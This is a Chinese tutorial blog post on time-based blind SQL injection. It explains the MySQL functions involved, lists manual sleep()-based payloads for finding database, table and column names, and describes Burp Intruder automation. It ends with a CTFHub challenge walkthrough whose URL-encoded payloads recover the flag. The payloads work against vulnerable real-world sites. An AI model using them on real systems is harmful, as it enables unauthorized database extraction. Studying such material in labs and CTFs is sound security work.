sql学习4(时间注入)

7.基于时间注入
时间盲注:web界面只返回一个正常页面。利用页面响应时间不同逐个猜解数据(数据库会执行命令,但)
(1)常用函数

sleep() :参数是休眠的时长,以秒为单位,也可以是小数

if():if(expr1,expr2,expr3);表达式,如果expr1判断为真,则返回expr2值,否则expr3的值。

substring():substr(string,start,length)函数是截取字符串的函数。

ord():函数是返回一个字符的ASCII码。

length():length(string)函数是否返回一个字符串的长度。

(2)手工注入
1>延时注入

?id=1' and sleep(5) --+   

观察请求的时间,大概在5秒以上,说明构造的sleep(5) 语句起作用,可以把这个时间线作为sql 注入的判断依据

2>判断数据库长度

?id=1' and if(length(database())>8,sleep(5),0)--+

3>获取数据库名字

?id=1’ and if(ascii(substr((select database()),1,1))>100,1,sleep(5))–+    //如果数据库名字的第一个字符的acsii值小于100,则进行延时

4>判断表长

?id=1'  and if(length((select table_name from information_schema.tables where table_schema = database() limit 0,1))>6,sleep(5),1)--+

(3)bp半自动化注入

1>判断第一个字符

把数据包发送intruder模块

在暴力破解模块中,模式为Cluster bomb

参数为两个,第一个为数据库的第几个字符,第二个为当前字符。

2>设置爆破参数

第一个payloads为numbers1-8,第二个是simple list a-z

3>排序响应包

选择Columns选项里面的Response received并点击看排序

得到库名

注:后续步骤以此类推(表名,列,数据)

练习
ctfhub技能树时间盲注

bp

休眠5秒,长度为4

抓包更改?id=1%20and%20if(substring(database(),1,1)=%27a%27,sleep(5),sleep(1))

修改payloads

爆破得前四个最大数值是数据库sqli

id=1%20and%20if(substring((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27sqli%27%20limit%201,1),1,1)=%27q%27,sleep(5),sleep(1))

步骤同上,得到表名flag

id=1%20and%20if(substring((select%20column_name%20from%20information_schema.columns%20where%20table_name=%27flag%27),1,1)=%27q%27,sleep(5),sleep(1))

爆列

注:爆flag时第二个payloads要加上{}和0-9

最后得到flag ctfhub{0bc238f7a894eeb7e94d1e39}

sqlmap

库名sqli

表名分别为flag和news

列名

 

最后找到flag

  • 7
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值